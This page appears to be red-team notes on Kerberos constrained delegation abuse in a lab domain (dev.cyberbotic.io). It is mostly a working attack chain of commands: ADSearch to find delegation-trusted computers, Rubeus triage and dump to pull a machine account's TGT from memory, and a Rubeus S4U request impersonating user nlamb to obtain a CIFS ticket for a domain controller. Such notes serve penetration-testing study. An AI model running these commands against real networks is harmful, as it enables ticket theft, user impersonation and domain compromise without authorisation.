Constrained Delegation
Search for computers
ADSearch.exe --search "(&(objectCategory=computer)(msds-allowedtodelegateto=*))" --attributes dnshostname,samaccountname,msds-allowedtodelegateto --jsonGet the TGT of the principal (computer or user) trusted for delegation
Rubeus.exe triage
0x3e4 | sql-2$ @ DEV.CYBERBOTIC.IO | krbtgt/DEV.CYBERBOTIC.IORubeus.exe dump /luid:0x3e4 /service:krbtgt /nowrapWith the TGT, perform S4U request to obtain usable TGS for CIFS
Rubeus.exe s4u /impersonateuser:nlamb /msdsspn:cifs/dc-2.dev.cyberbotic.io /user:sql-2$ /ticket:doIFLD[...snip...]MuSU8= /nowrapPerform an S4U2Self first and then an S4U2Proxy
Example simple attack chain
Last updated